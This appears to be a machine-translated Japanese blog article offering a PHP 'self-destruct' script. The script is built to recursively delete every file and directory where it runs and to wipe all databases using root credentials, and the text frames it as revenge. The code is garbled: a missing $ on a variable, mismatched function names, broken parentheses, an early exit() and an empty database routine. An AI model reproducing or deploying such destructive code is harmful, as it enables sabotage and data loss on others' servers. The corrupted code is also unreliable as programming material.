この記事の例では、PHP 自己破壊プログラムについて説明します。皆さんの参考に共有してください。具体的な実装方法は以下の通りです
-
- // +------------------------------------- -------- ----------------------------------
- // 殺せ!!
- | // | プログラムはこのディレクトリ内のすべてのファイルをクリアします。 ファイル、ディレクトリ
- // | データベース情報が設定されている場合は、すべてのデータベースとテーブルのデータを削除してみてください (権限が十分である場合)
- // +----- ------------ -------------------------------------- ------------- ---
- // バージョン: $Id$
- // +---------------------- ------------ ---------------------------------------------------
- / /----------データベース設定エリア---------------------
- //復讐の力は恐ろしいのでデータベースの指定は不要です、すべて削除してください。
- define('DB_USER', 'root');
- define('DB_PWD', 'root');
- define('DB_HOST', 'localhost');
- define('DB_PORT', '3216');
- define ('DB_DAMAGE', true); // false の場合、データベースにはアクセスしません
- run();
- /**
- * チュチェ思想は輝かしく偉大なものでなければなりません!
- *
- * @return void
- **/
- function run()
- {
- //ファイルを削除します
- deleteir( );
- / /データベースを削除
- deleteDB();
- }
- /**
- * ははは、現在のディレクトリ内のすべてのファイルを (再帰的に) 削除してください
- *
- * @return void
- **/
- function deleteir($dir = ''){
- if ($dir == '') {
- $dir = realpath ('.' );
- }
- echo $dir;
- exit();
- if(!handle=@opendir($dir)){
- //開くディレクトリが存在するか確認
- die("存在しないそのようなディレクトリ");
- }
- while(false !==($file=readdir($handle))){
- if($file!=="."&&$file!==".."){
- // 現在のディレクトリと親ディレクトリを除外します
- $file=$dir .DIRECTORY_SEPARATOR. $file;
- if(is_dir($file)){
- selectedir($file);
- }else{
- if(@unlink($file) )){
- echo "ファイル$file削除に成功しました。
";
- }else{
- echo "ファイル$file削除に失敗しました!
" ;
- }
- }
- }
- if(@rmdir($dir)){
- echo "ディレクトリ$dirは正常に削除されました。
n";
- }else{
- echo "ディレクトリ< ;b>$ dir削除に失敗しました!
n";
- }
- }
- /**
- * ははは、データベースを削除してください
- *
- * @return void
- **/
- function deleteDB()
- {
- if(DB_DAMAGE === true){
- //start
- }
- }
-
-
コードをコピー
この記事で説明した内容が皆様の PHP プログラミング設計に役立つことを願っています。
|